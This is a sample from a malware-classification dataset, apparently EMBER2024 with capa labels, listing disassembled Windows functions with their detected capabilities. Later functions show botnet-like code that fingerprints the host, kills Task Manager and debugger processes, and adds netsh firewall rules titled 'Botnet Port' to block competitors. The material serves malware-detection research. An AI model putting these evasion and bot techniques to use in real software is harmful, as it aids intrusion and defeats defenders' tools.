joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400bc790
Capabilities:
Get socket status

Disassembly:
jmp 0x1400bc790
push rbp
push rbx
push rdi
push r12
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140235e48]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov rbx, qword [rbp + 0x210]
mov rax, r8
mov qword [rsp + 0x30], rax
mov r10, r9
mov qword [rsp + 0x40], r9
movzx r12d, dl
mov r15, rcx
cmp rcx, 0xffffffffffffffff
jne 0x1400bc804
lea rdi, [0x1401e1a10]
mov dword [rsp + 0x30], 0x2719
mov qword [rsp + 0x38], rdi
xor eax, eax
mov byte [rsp + 0x34], 1
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbx], xmm0
jmp 0x1400bc97b
cmp byte [rbp + 0x208], 0
mov qword [rsp + 0x2a0], r14
je 0x1400bc843
test r12b, 0x10
je 0x1400bc843
xor r14d, r14d
lea rdi, [0x1401e1a10]
mov dword [rsp + 0x30], r14d
xor eax, eax
mov byte [rsp + 0x34], r14b
mov qword [rsp + 0x38], rdi
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbx], xmm0
jmp 0x1400bc973
mov qword [rsp + 0x2e8], rsi
mov r8, r10
mov qword [rsp + 0x2a8], r13
mov rdx, rax
mov r13d, dword [rbp + 0x200]
mov r9d, r13d
mov qword [rsp + 0x20], rbx
call fcn.14000f430
test eax, eax
jns 0x1400bc961
and r12b, 1
lea rdi, [0x1401e1a10]
xor r14d, r14d
movabs rcx, 0x8fafd21e25c5e09b
test r12b, r12b
jne 0x1400bc999
mov eax, dword [rbx]
cmp eax, 0x2733
je 0x1400bc8aa
cmp eax, 0x4d5
jne 0x1400bc999
mov rax, qword [rbx + 8]
cmp qword [rax + 8], rcx
jne 0x1400bc999
xor ecx, ecx
mov qword [rbp - 0x78], r15
mov dword [rbp - 0x80], 1
call qword [sym.imp.WS2_32.dll_WSASetLastError]
lea ecx, [r15 + 1]
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x80]
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], rdi
setne byte [rsp + 0x4c]
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rbx], xmm0
test esi, esi
jne 0x1400bc920
mov dword [rsp + 0x58], r14d
mov byte [rsp + 0x5c], r14b
mov qword [rsp + 0x60], rdi
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbx], xmm0
jmp 0x1400bc93f
jle 0x1400bc93b
mov dword [rsp + 0x68], r14d
mov byte [rsp + 0x6c], r14b
mov qword [rsp + 0x70], rdi
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rbx], xmm0
jmp 0x1400bc93f
test esi, esi
js 0x1400bc999
mov r8, qword [rsp + 0x40]
mov r9d, r13d
mov rdx, qword [rsp + 0x30]
mov rcx, r15
mov qword [rsp + 0x20], rbx
call fcn.14000f430
test eax, eax
js 0x1400bc883
mov eax, eax
mov r13, qword [rsp + 0x2a8]
mov rsi, qword [rsp + 0x2e8]
mov r14, qword [rsp + 0x2a0]
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.14000fde0
add rsp, 0x2b0
pop r15
pop r12
pop rdi
pop rbx
pop rbp
ret
xor eax, eax
jmp 0x1400bc963
Function at 0x1400ea290
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400ea290
sub rsp, 0x28
cmp byte [rcx + 8], 0xb
jne 0x1400ea30d
cmp byte [rcx + 9], 0
jne 0x1400ea30d
movzx r8d, byte [rcx + 0xa]
test r8b, 0xf
je 0x1400ea2b2
xor eax, eax
add rsp, 0x28
ret
mov rcx, qword [rcx]
or edx, 1
bsr eax, edx
mov qword [rsp + 0x20], rbx
lea ebx, [rax*8 + 0x49]
add ebx, eax
mov rax, qword [rcx]
shr rbx, 6
add rbx, qword [0x1401ec158]
test r8b, 0xf0
je 0x1400ea2e2
call qword [rax + 0x50]
jmp 0x1400ea2e5
call qword [rax + 0x38]
mov rdx, rax
mov eax, edx
or eax, 1
bsr ecx, eax
lea eax, [rcx*8 + 0x49]
add eax, ecx
shr rax, 6
add rax, rdx
add rax, rbx
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
ret
add rsp, 0x28
jmp fcn.140002640
Function at 0x1400f1a40
Capabilities:
Encode data using base64

Disassembly:
jmp 0x1400f1a40
push rbx
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140235e48]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, r8
mov r11, rcx
test edx, edx
jle 0x1400f1c91
lea r10d, [rdx*4]
lea eax, [r9 + r9*2]
cmp r10d, eax
jg 0x1400f1c91
mov rbx, r8
movsxd r8, r9d
add r8, rbx
movsxd rdi, edx
add rdi, rcx
lea rdx, [rdi - 3]
mov r9, qword [rsp + 0xb0]
cmp rcx, rdx
jae 0x1400f1af5
nop word [rax + rax]
mov ecx, dword [r11]
bswap ecx
shr ecx, 8
mov eax, ecx
shr rax, 0x12
movzx eax, byte [rax + r9]
mov byte [rbx], al
and ecx, 0x3ffff
mov eax, ecx
shr rax, 0xc
movzx eax, byte [rax + r9]
mov byte [rbx + 1], al
and ecx, 0xfff
mov eax, ecx
shr rax, 6
movzx eax, byte [rax + r9]
mov byte [rbx + 2], al
and ecx, 0x3f
movzx ecx, byte [rcx + r9]
mov byte [rbx + 3], cl
add rbx, 4
add r11, 3
cmp r11, rdx
jb 0x1400f1aa0
sub r8d, ebx
sub edi, r11d
mov ecx, edi
je 0x1400f1c8b
sub ecx, 1
je 0x1400f1c47
sub ecx, 1
je 0x1400f1be1
cmp ecx, 1
je 0x1400f1b71
mov r9d, 0x887
lea r8, str.X:windows_trunkexternalprotobuf_srcgoogleprotobuf_stubs_strutil.cc
mov edx, 3
lea rcx, [rsp + 0x28]
call fcn.14000c120
nop
lea rdx, str.Logic_problem__szsrc_
mov rcx, rax
call fcn.14000b4d0
mov rcx, rax
mov edx, edi
call fcn.1400167e0
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1400158a0
nop
lea rcx, [rsp + 0x28]
call fcn.140017730
sub ebx, esi
mov eax, ebx
jmp 0x1400f1c93
lea eax, [r8 - 4]
test eax, eax
js 0x1400f1c91
movzx eax, word [r11 + 1]
ror ax, 8
movzx ecx, ax
movzx eax, byte [r11]
shl eax, 0x10
add ecx, eax
mov eax, ecx
shr rax, 0x12
movzx eax, byte [rax + r9]
mov byte [rbx], al
and ecx, 0x3ffff
mov edx, ecx
mov eax, ecx
shr rax, 0xc
movzx eax, byte [rax + r9]
mov byte [rbx + 1], al
and edx, 0xfff
mov eax, edx
shr rax, 6
movzx eax, byte [rax + r9]
mov byte [rbx + 2], al
and edx, 0x3f
movzx eax, byte [rdx + r9]
mov byte [rbx + 3], al
add rbx, 4
sub ebx, esi
mov eax, ebx
jmp 0x1400f1c93
sub r8d, 3
js 0x1400f1c91
movzx eax, word [r11]
ror ax, 8
movzx ecx, ax
mov eax, ecx
shr rax, 0xa
movzx eax, byte [rax + r9]
mov byte [rbx], al
and ecx, 0x3ff
mov eax, ecx
shr rax, 4
movzx eax, byte [rax + r9]
mov byte [rbx + 1], al
and ecx, 0xf
shl ecx, 2
movzx ecx, byte [rcx + r9]
mov byte [rbx + 2], cl
add rbx, 3
cmp byte [rsp + 0xb8], 0
je 0x1400f1c8b
lea eax, [r8 - 1]
test eax, eax
js 0x1400f1c91
mov byte [rbx], 0x3d
inc rbx
sub ebx, esi
mov eax, ebx
jmp 0x1400f1c93
sub r8d, 2
js 0x1400f1c91
movzx ecx, byte [r11]
mov eax, ecx
shr rax, 2
movzx eax, byte [rax + r9]
mov byte [rbx], al
and ecx, 3
shl ecx, 4
movzx ecx, byte [rcx + r9]
mov byte [rbx + 1], cl
add rbx, 2
cmp byte [rsp + 0xb8], 0
je 0x1400f1c8b
lea ecx, [r8 - 2]
test ecx, ecx
js 0x1400f1c91
mov word [rbx], 0x3d3d
add rbx, 2
sub ebx, esi
mov eax, ebx
jmp 0x1400f1c93
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14000fde0
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400016a0
Capabilities:
Initialize winsock library

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1c8
mov rdx, qword [0x1400c0030]
lea rcx, str.current_file:__s
call fcn.140001800
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.140032ba0
cmp eax, 1
je 0x1400016ec
lea rcx, str.sexd
call fcn.140001820
call fcn.140009a70
lea r13, [0x14009307b]
lea r12, str.Connecting_to__s:_s...
call fcn.140009b80
lea rsi, str.Failed_to_open_connection
lea rbp, str.Disconnected...
call fcn.14000a290
lea rdi, [0x140093076]
call fcn.140009ad0
call fcn.140009ab0
mov rcx, qword [0x1400c0030]
call fcn.14000a500
call fcn.140001eb0
call fcn.140004c30
call fcn.140004820
call fcn.140009d20
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov r8, rdi
mov rdx, r13
mov rcx, r12
call fcn.140001800
jmp 0x14000176f
mov rcx, rsi
call fcn.140001800
mov ecx, 0x7530
call rbx
call fcn.140004140
test eax, eax
je 0x140001760
call main
cmp byte [rax + 8], 0
mov r15, rax
je 0x1400017c0
xor r14d, r14d
nop dword [rax]
mov rcx, r14
call fcn.140003650
mov rcx, rbp
call fcn.140001800
mov rcx, r15
call fcn.1400040e0
call fcn.140004bd0
mov ecx, 0x7530
call rbx
jmp 0x140001750
call fcn.140004640
mov r14, rax
test rax, rax
je 0x1400017e9
mov rcx, rax
call fcn.140001480
cmp byte [r15 + 8], 0
jne 0x140001790
call fcn.140004640
mov r14, rax
test rax, rax
jne 0x1400017cd
lea rcx, str.Failed_to_read_packet
call fcn.140001800
jmp 0x140001786

Function at 0x1400018a0
Capabilities:
Get session user name
Query environment variable

Disassembly:
push rbx
sub rsp, 0x130
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x2c], 0x100
lea rdx, [rsp + 0x2c]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp byte [rsp + 0x30], 0
je 0x1400018e0
mov rcx, rbx
call fcn.14008a6b8
add rsp, 0x130
pop rbx
ret
lea rcx, str.USERNAME
call sub.msvcrt.dll_getenv
mov rcx, rax
call fcn.14008a6b8
add rsp, 0x130
pop rbx
ret
Function at 0x140001920
Capabilities:
Connect socket
Get hostname
Get memory capacity
Get session integrity level
Get session user name
Get system information on windows
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov ecx, 0x50
call sub.msvcrt.dll_malloc
lea rsi, [rsp + 0x50]
mov edx, 0x100
mov rbx, rax
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x140001ae8
mov rcx, rsi
call fcn.14008a6b8
lea rsi, [rsp + 0x20]
lea rdi, [rsp + 0x150]
mov qword [rbx], rax
mov dword [rsp + 0x20], 0x100
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp byte [rsp + 0x150], 0
je 0x140001b78
mov rcx, rdi
call fcn.14008a6b8
mov qword [rbx + 8], rax
test rax, rax
je 0x140001b91
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
lea rcx, str.windows
mov dword [rbx + 0x28], eax
call fcn.14008a6b8
lea rcx, str.x86_64
mov qword [rbx + 0x10], rax
mov r12, rax
call fcn.14008a6b8
movsx ecx, byte [r12]
mov qword [rbx + 0x18], rax
mov rsi, rax
test cl, cl
je 0x140001a0e
mov rbp, qword [sym.imp.msvcrt.dll_tolower]
mov esi, 1
nop
call rbp
mov byte [r12], al
mov r12, qword [rbx + 0x10]
add r12, rsi
add rsi, 1
movsx ecx, byte [r12]
test cl, cl
jne 0x1400019f0
mov rsi, qword [rbx + 0x18]
movsx ecx, byte [rsi]
mov rbp, qword [sym.imp.msvcrt.dll_tolower]
mov r12d, 1
test cl, cl
je 0x140001a3e
nop word [rax + rax]
call rbp
mov byte [rsi], al
mov rsi, qword [rbx + 0x18]
add rsi, r12
add r12, 1
movsx ecx, byte [rsi]
test cl, cl
jne 0x140001a28
mov rax, qword [str._1_t_]
lea rcx, str.1.0.0
mov qword [rbx + 0x20], rax
call fcn.14008a6b8
mov qword [rbx + 0x30], rax
call fcn.1400030e0
mov byte [rbx + 0x40], 0
xor r8d, r8d
mov edx, 1
mov qword [rbx + 0x38], rax
mov ecx, 0x17
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001b00
cmp byte [rbx + 0x40], 0
je 0x140001a92
mov dword [0x1400c0040], 1
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov rcx, rdi
mov dword [rsp + 0x150], 0x40
test eax, eax
setne byte [rbx + 0x41]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [rsp + 0x158]
pxor xmm0, xmm0
cvtsi2ss xmm0, rax
mov rax, rbx
cvtss2sd xmm0, xmm0
mulsd xmm0, qword [0x140093178]
movsd qword [rbx + 0x48], xmm0
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rcx, [0x14009312d]
call fcn.14008a6b8
jmp 0x14000195d
pxor xmm0, xmm0
mov eax, 0x17
mov ecx, 0x17
lea r8, [rsp + 0x158]
lea rdx, str.2606:4700:4700::1111
movups xmmword [rsp + 0x152], xmm0
mov word [rsp + 0x150], ax
movups xmmword [rsp + 0x15c], xmm0
call fcn.140003190
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, 0x1c
mov rdx, rdi
mov rcx, rsi
mov word [rsp + 0x152], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001b67
mov byte [rbx + 0x40], 1
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001a82
lea rcx, str.USERNAME
call sub.msvcrt.dll_getenv
mov rcx, rax
call fcn.14008a6b8
jmp 0x140001997
lea rcx, [0x14009312d]
call fcn.14008a6b8
mov qword [rbx + 8], rax
jmp 0x1400019a4
Function at 0x140001da0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x420
mov rbx, rdx
lea rdx, [0x140093180]
call sub.msvcrt.dll_fopen
lea rdx, [0x140093183]
mov rcx, rbx
mov rsi, rax
call sub.msvcrt.dll_fopen
mov rdi, rax
test rsi, rsi
je 0x140001e1f
test rax, rax
je 0x140001e1f
lea rbx, [rsp + 0x20]
jmp 0x140001df0
mov r9, rdi
mov edx, 1
mov rcx, rbx
call sub.msvcrt.dll_fwrite
mov r8d, 0x400
mov r9, rsi
mov edx, 1
mov rcx, rbx
call sub.msvcrt.dll_fread
mov r8, rax
test rax, rax
jne 0x140001de0
mov rcx, rsi
call sub.msvcrt.dll_fclose
mov rcx, rdi
call sub.msvcrt.dll_fclose
nop
add rsp, 0x420
pop rbx
pop rsi
pop rdi
ret
Function at 0x140003340
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rbp, rcx
mov r12d, edx
movzx ecx, word [rcx]
mov esi, r8d
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003470
lea rdi, [rsp + 0x38]
mov dword [rsp + 0x38], esi
mov r8d, 0x1006
mov rsi, qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x3c], 0
mov r9, rdi
mov edx, 0xffff
mov rcx, rax
mov dword [rsp + 0x20], 8
call rsi
test eax, eax
jne 0x140003438
mov dword [rsp + 0x20], 8
mov r9, rdi
mov edx, 0xffff
mov rcx, rbx
mov r8d, 0x1005
call rsi
test eax, eax
jne 0x140003460
lea r9, [0x140094aa4]
mov r8d, 4
mov edx, 0xffff
mov rcx, rbx
mov dword [rsp + 0x20], 4
call rsi
mov r8d, 1
mov edx, 6
mov rcx, rbx
mov dword [rsp + 0x20], 4
lea r9, [0x140094aa4]
call rsi
mov r8d, r12d
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140003480
mov rax, rbx
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rcx, str.cannot_set_socket_SO_RCVTIMEO
call fcn.140001800
mov rbx, 0xffffffffffffffff
mov rax, rbx
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rcx, str.cannot_set_socket_SO_SNDTIMEO
call fcn.140001800
jmp 0x140003444
lea rcx, str.cannot_open_socket
call fcn.140001800
jmp 0x140003444
lea rcx, str.cannot_connect
call fcn.140001800
jmp 0x140003444

Function at 0x140003490
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov ecx, edx
call qword [sym.imp.WS2_32.dll_htonl]
xor r9d, r9d
lea rdx, [rsp + 0x2c]
mov rcx, rbx
mov dword [rsp + 0x2c], eax
mov r8d, 4
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 4
sete al
movzx eax, al
add rsp, 0x30
pop rbx
ret

Function at 0x1400034d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x38
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x140003500
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
add rsp, 0x38
ret
mov eax, 0xffffffff
jmp 0x1400034f7

Function at 0x140003510
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x140003598
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov ecx, eax
mov rdi, rax
call qword [sym.imp.WS2_32.dll_htonl]
lea rdx, [rsp + 0x2c]
xor r9d, r9d
mov rcx, rsi
mov dword [rsp + 0x2c], eax
mov rbp, qword [sym.imp.WS2_32.dll_send]
mov r8d, 4
call rbp
mov edx, eax
xor eax, eax
cmp edx, 4
je 0x140003570
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rsi
call rbp
cdqe
cmp rax, rdi
sete al
movzx eax, al
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov ecx, 0xffffffff
call qword [sym.imp.WS2_32.dll_htonl]
xor r9d, r9d
lea rdx, [rsp + 0x2c]
mov rcx, rsi
mov dword [rsp + 0x2c], eax
mov r8d, 4
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 4
sete al
movzx eax, al
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x1400035d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
xor r9d, r9d
mov rbp, qword [sym.imp.WS2_32.dll_recv]
mov r8d, 4
mov rdi, rcx
lea rdx, [rsp + 0x2c]
call rbp
cmp eax, 4
jne 0x140003648
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebx, eax
test eax, eax
js 0x140003648
lea ecx, [rax + 1]
movsxd rcx, ecx
call sub.msvcrt.dll_malloc
mov rsi, rax
test rax, rax
je 0x140003648
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call rbp
cmp eax, ebx
jne 0x140003640
mov eax, eax
mov byte [rsi + rax], 0
mov rax, rsi
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rsi
call sub.msvcrt.dll_free
xor esi, esi
jmp 0x140003632

Function at 0x1400040e0
Capabilities:
Get thread local storage value
Hijack thread execution

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x1400040f9
cmp qword [rcx], 0xffffffffffffffff
je 0x1400040f9
cmp byte [rcx + 8], 0
je 0x140004100
add rsp, 0x20
pop rbx
ret
lea rcx, str.Closing_connection
call fcn.140001800
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx + 0x18]
mov byte [rbx + 8], 1
add rsp, 0x20
pop rbx
jmp fcn.14008cb50
Function at 0x140005a00
Capabilities:
Send data
Send data on socket

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rdi, rcx
mov ecx, 0x4b0
mov rsi, rdx
mov rbp, r8
mov r12, r9
call sub.msvcrt.dll_malloc
mov rbx, rax
test rax, rax
je 0x140005aa1
movdqu xmm0, xmmword [rsi]
lea rcx, [rsp + 0x30]
mov rdx, rax
movups xmmword [rsp + 0x30], xmm0
movdqu xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0x40], xmm1
movdqu xmm2, xmmword [rsi + 0x20]
movups xmmword [rsp + 0x50], xmm2
call fcn.140005300
mov rcx, rdi
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov esi, eax
mov r8d, eax
mov rdx, rbx
call qword [sym.imp.WS2_32.dll_sendto]
mov rcx, rbx
test eax, eax
js 0x140005a89
call sub.msvcrt.dll_free
mov eax, esi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call sub.msvcrt.dll_free
lea rcx, str.sendto
call sub.msvcrt.dll_perror
mov esi, 0xffffffff
jmp 0x140005a7c
lea rcx, [0x140094d42]
call sub.msvcrt.dll_perror
jmp 0x140005a9a

Function at 0x140007290
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
test rdx, rdx
je 0x1400072e0
mov r10, qword [rcx]
xor eax, eax
test r10, r10
je 0x1400072be
cmp byte [rcx + 8], 0
je 0x1400072c8
mov rcx, qword [rcx + 0x10]
call fcn.140018fa0
cdqe
cmp rax, rbx
sete al
add rsp, 0x20
pop rbx
ret
xor r9d, r9d
mov rcx, r10
call qword [sym.imp.WS2_32.dll_send]
cdqe
jmp 0x1400072b8
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x140009b90
Capabilities:
Enumerate processes

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140009c60
lea rdi, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
lea r12, str.goldoon
mov rdx, rdi
lea r13, str.Goldoon
call sub.KERNEL32.dll_Process32First
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test eax, eax
je 0x140009c90
nop dword [rax]
mov rdx, rdi
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140009c74
mov ebx, dword [rsp + 0x28]
call rbp
cmp ebx, eax
je 0x140009bf0
lea rbx, [rsp + 0x4c]
mov rdx, r12
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140009bf0
mov rdx, r13
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140009bf0
lea rdx, str.systemed__
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140009bf0
mov eax, 1
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateToolhelp32Snapshot_failed:__lu_n
mov edx, eax
call fcn.140001800
xor eax, eax
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Process32First_failed:__lu_n
mov edx, eax
call fcn.140001800
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140009c76
Function at 0x140009f00
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x178
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a00d
lea rdi, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x40], 0x130
mov rdx, rdi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14000a003
mov rbp, qword [sym.imp.msvcrt.dll__stricmp]
mov r13, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rbx, [rsp + 0x6c]
lea r12, str.taskmgr.exe
lea r14, str.Killed__s_PID__lu_PPID__lu_Threads__lu_Module__lu_Flags__lu_Priority__lu_n
nop dword [rax]
mov rdx, r12
mov rcx, rbx
call rbp
test eax, eax
je 0x140009f90
lea rdx, str.debugg
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140009ff0
mov eax, dword [rsp + 0x64]
mov r9d, dword [rsp + 0x60]
mov rdx, rbx
mov rcx, r14
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x20], eax
call fcn.140001800
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 1
call r13
mov r15, rax
test rax, rax
je 0x140009ff0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rdi
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140009f70
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000a110
Capabilities:
Execute command
Terminate process

Disassembly:
push rsi
push rbx
sub rsp, 0xc8
mov ebx, ecx
call fcn.14000a050
mov r8d, eax
cmp eax, 0xffffffff
je 0x14000a225
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000a225
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x14000a230
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a250
mov eax, 2
movzx ecx, bx
mov word [rsp + 0x30], ax
call qword [sym.imp.WS2_32.dll_htons]
xor ecx, ecx
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_htonl]
lea rdx, [rsp + 0x30]
mov r8d, 0x10
mov rcx, rsi
mov dword [rsp + 0x34], eax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x14000a268
mov edx, 1
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x14000a280
mov dword [rsp + 0x20], ebx
lea rsi, [rsp + 0x40]
mov r9d, ebx
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirin_actionblock_protocolTCP_localport_d
mov edx, pe_nt_image_headers64
mov rcx, rsi
call fcn.140009cc0
mov rcx, rsi
call fcn.14008a680
mov dword [rsp + 0x20], ebx
mov rcx, rsi
mov r9d, ebx
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirout_actionblock_protocolTCP_localport_d
mov edx, pe_nt_image_headers64
call fcn.140009cc0
mov rcx, rsi
call fcn.14008a680
nop
add rsp, 0xc8
pop rbx
pop rsi
ret
lea rcx, str.Failed_to_terminate_process._n
call fcn.140001820
mov rcx, rsi
add rsp, 0xc8
pop rbx
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_create_socket._n
add rsp, 0xc8
pop rbx
pop rsi
jmp fcn.140001820
lea rcx, str.Failed_to_bind_socket._n
call fcn.140001820
jmp 0x14000a225
lea rcx, str.Failed_start_listening._n
call fcn.140001820
jmp 0x14000a225